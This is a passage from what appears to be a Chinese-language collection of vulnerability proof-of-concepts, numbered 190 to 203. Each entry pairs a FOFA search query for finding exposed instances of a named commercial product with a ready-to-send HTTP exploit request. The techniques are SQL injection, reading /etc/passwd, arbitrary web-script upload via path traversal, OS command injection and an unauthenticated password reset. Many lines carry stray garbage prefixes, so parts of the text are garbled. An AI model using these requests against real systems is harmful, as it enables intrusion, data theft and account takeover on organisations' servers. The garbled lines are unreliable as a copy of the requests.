; E2 o3 R) D) c! v# W* o( ]GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
& H) d0 v8 d6 L; b, g2 d3 RHost: your-ip
: d7 V- K9 @, n" [7 q+ k/ cUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 |6 Y- Q. G  T9 @( l( HAccept-Encoding: gzip, deflate
, M) N$ _' r; N2 f' f+ g/ l: ~Accept-Language: zh-CN,zh;q=0.9
$ Y0 T# X/ o% H2 O8 r) zConnection: close

. C$ S. T; V) {$ Y9 `9 z, E
! d7 m$ A9 X5 r190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
! M# l' Q3 J2 Z5 P6 g1 t7 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
. |: W& A! _! I+ M6 bContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 i6 R7 \  @7 F+ w8 F
/ D6 {3 [/ t7 ?) L& a- Bpoi=file:///etc/passwd


' z  G) |/ }6 q! ]( u7 @" I) _191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
( q5 Q+ o$ T5 C6 b+ W" H0 }4 L' M% JPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
0 W- C1 [0 j/ W$ a1 W" F) WHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
+ G" i# _9 t- }' |! h
0 Y  d/ {4 h" a0 rcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

+ J8 j( i' W& r7 y& Y5 q+ w7 i
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
* ^: C$ l8 p/ |: ^! eHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
- ]  O+ c" q* M& p/ f6 H

: r8 h8 t) w, M& A! B8 `$ j& M<% @ webhandler language="C#" class="AverageHandler" %>
/ R6 p: ?4 O: K, Kusing System;
; c0 [6 e" R9 Z- h/ H! ^9 Kusing System.Web;
' L- T% a" y) C9 @# @% Apublic class AverageHandler : IHttpHandler
# W5 t0 W5 ?" v# `6 G" H/ n{
public bool IsReusable
7 U2 a: a. j: c! O& n* v: e9 m) q{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
' |' R' k& J" Y: G$ w$ H8 ?) S{
ctx.Response.Write("test");
. _  S$ `. x# `4 U; i  @}
}

7 T& J, `) q, B1 D! s' q
  s. N* S/ Q/ o9 ~$ L! [193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
  C$ `* o' z* Z) |) oFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0


* R6 a$ C0 j" r3 X2 H' J" MPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
9 \2 u9 j# `# |$ ZUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
4 _9 B# m) T2 N- l" s1 n( i+ j, ?5 Q/ R8 ]Accept: */*
Connection: close
% D) a; L8 ^1 g( J  `4 Z9 F- I1 MCookie: PHPSESSID=2333333333333;
3 w1 f7 j+ G0 w4 \Content-Type: application/x-www-form-urlencoded
Content-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
; S5 ]) o  V  y4 `* K1 C9 J" c
: ]0 K/ n2 Y, v
8 E, r. E& I* RGET /master/img/config HTTP/1.1
Host:
- \/ W% Z, i$ O& h3 ^User-Agent: Mozilla/5.0
/ U- x) r, [' T% M' U

194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
$ O0 A6 ~6 h1 D7 t( n" I, jHost: host
) I( @# r/ I3 Q8 H9 N7 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
) g  |" B2 G/ X$ S( J- vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 o# O$ h7 F& }5 S! ^( @, wAccept-Encoding: gzip, deflate
7 t! Y! U' p- |( qConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
- m0 R8 {. [' k
7 D0 i7 E: F  F+ y5 ?Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
. |8 r& P; v6 C: {2 d5 `5 wContent-Type: text/plain
6 d( E! I/ C' c" H- h, F$ K. ~: g: N<% out.println("hello");%>
; O/ ~- p* r  c------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
4 Y! }$ h+ u# Y5 J {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
/ j' k9 T8 q- y% D/ l
: E8 e: V2 I: |7 b7 E+ C* i4 g
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
, P& g. x; k# q- ?$ p' NPragma: no-cache
Cache-Control: no-cache
- p2 e" d5 G; b" M" S0 P% }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
& {' I, N' _) M8 Y1 X4 aAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
5 [1 J# R- e0 \6 W# g& k# C

196. 河南省风速科技统一认证平台密码重置
6 G- _2 q( z" h# q) N, _' a& dFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
( U2 U2 M0 J( v4 `- {POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
' b' k6 j  ^0 N: N  GHost:
* I, N6 T) Y' QAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
* `4 A2 x+ c0 r1 ZConnection: close
1 ]  j6 n5 T; I, z* H
# \5 B! l: L7 ^4 S& x2 B0 j{"xgh":"test","newPass":"test666","email":""}
. P. @$ H, @) m9 [$ c2 X
+ M3 W" ]( l! b3 L; P

! B# A8 X# }! i197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
' b0 W6 g+ u+ @Host:
! w4 X9 ~/ A! {- G/ iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
2 B$ K8 Q* M" ~, g& y! XAccept-Encoding: gzip, deflate
Connection: close
( M$ z5 @' Z1 O4 l8 d
& Z. j2 S( K5 C/ C

% {% f" o) y# L& ?) P7 X# H198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
% |6 i9 d8 O* E1 R9 {* mCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close


$ A7 Y8 E' H$ e0 L0 N199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

" T3 d9 M* A& g- y" o+ \响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
' I, x- h( i" N& T6 T! {% P
  X/ Q6 f0 T4 \2.使用刚才上一步获取到的jwt获取cookie：
; M6 g" E( a3 Y4 y, v" B$ g
* u3 E2 {6 L/ C# KPOST /auth/check HTTP/1.1
Content-Type: application/json
: d$ N' A8 B! ?. O
  H' R/ _$ b" y! y; S+ E5 ~7 F{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

$ W4 O$ J/ R! ~# F, ~8 g/ y响应：200，返回值:
) M1 L# z. O* X: N9 r7 f8 N, ISet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
1 K# f5 L1 Z( eContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
* C3 B( q7 X" eCookie: mysession=95524f01e238bf51bb60d77ede3bea92

# Q4 ^0 @: J0 X3 j-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
3 t, h& v  l0 ]Content-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
* q" m% m: f: b1 u: \4 v% uContent-Disposition: form-data; name="folder"
! E& d+ x! s3 R  |* R1 G- R
8 N! c+ l! |) k' u. T-----------------------------36D28FBc36bd6feE7Fb3--
' H, U4 k3 J- r, }2 m- I/ C
$ q, u( Z+ q- ^8 l8 P6 \: g9 o! v! c
/storage/uploads/tttt.php
* u  j$ X- N" i) q$ c
" E5 G* Z3 r- P2 f6 [  v200. SeaCMS海洋影视管理系统dmku SQL注入
3 j& [- y5 ?( q+ m+ A2 z2 fFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
6 t" ?4 E4 [. r6 ~! nCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
8 _) {* q+ V$ G$ u0 f( MUpgrade-Insecure-Requests: 1
7 l+ A+ g5 D: J$ pCache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( z- ^- H9 m- h! F, m* U4 X+ VAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" d  I1 [* m! e5 w

" K! X, [7 F% v. L+ y201. 方正全媒体新闻采编系统 binary SQL注入
3 ~+ u+ z5 v+ [FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
, _2 K/ ~; }7 B! U) ]POST /newsedit/newsplan/task/binary.do HTTP/1.1
: M$ g9 W+ k" _& `3 ^7 L* `( VContent-Type: application/x-www-form-urlencoded
; N6 F' n: D& x' t0 s- w" HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, I6 {7 m9 `1 IConnection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


, E! t3 B/ z, q0 s  _& m202. 微擎系统 AccountEdit任意文件上传
) `. C8 M% ]7 lFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
' g# ]1 s. {! }/ KGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
/ I! g0 }6 G- o. {1 V% o9 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
& ?4 N* ?* w' }" b2 l- p; |Content-Length: 0


替换__VIEWSTATE和__EVENTVALIDATION值
1 Y  t2 L! H9 ?9 A8 |4 [7 F8 a( JPOST /User/AccountEdit.aspx HTTP/1.1
8 ?( w! y, `" b+ a( t2 ~& @% {Accept-Encoding: gzip, deflate, br
) H- F/ K( c9 g9 O: j; _Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
" r$ N; e7 C0 f- C, |
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
8 `# j. X' z3 ]
__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
; T/ d; f  F/ [/ f9 d, KContent-Disposition: form-data; name="__EVENTVALIDATION"
  X2 O/ u/ x+ W: u. Y' Z
6 {/ P/ B  }+ h5 ]; B0 Z1 I__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
0 j5 m6 G/ b& q# t) dContent-Type: text/plain

7 l0 w3 y3 b  g& z' z0 r! ~Hello World!
-----------------------------786435874t38587593865736587346567358735687
: Y( ^& Y- t3 }5 f; h; nContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
4 o7 y& N! n3 X6 E
上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


' \# `# r- J+ \3 [-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


8 y: s0 E. M" Q: e3 L5 Y- ?. Z4 w-----------------------------786435874t38587593865736587346567358735687--
2 d+ j2 N: f( N
# j# R  `6 f  Z7 e
/_data/Uploads/1123.txt

! I& m5 P; N5 A! S/ `+ u4 X: K203. 红海云EHR PtFjk 文件上传
1 ~- }8 e+ i0 c8 bFOFA：body="RedseaPlatform"
( B; l) @5 z. k# i' M6 ?* y2 pPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
3 Q% D* a& r6 h% @) v" d' qHost: x.x.x.x
! ?: M6 q" ^0 zAccept-Encoding: gzip
7 I$ N- z3 a7 aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

1 c+ w3 _; U% G. R------WebKitFormBoundaryt7WbDl1tXogoZys4
: J( K+ A) E  C( h  R2 s  {Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
  {8 A8 b5 b2 w% @# W" f% @+ mContent-Type:image/jpeg
& \% J9 B. M4 r% l9 b3 O
  X" z) ]/ s' F" N<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
% _: U% s+ R! a! e( C/ l, F


! ]5 V- M1 J, Z  N2 r
  u0 ~$ R9 }* K4 L, p

, r! _0 H9 ]" c7 w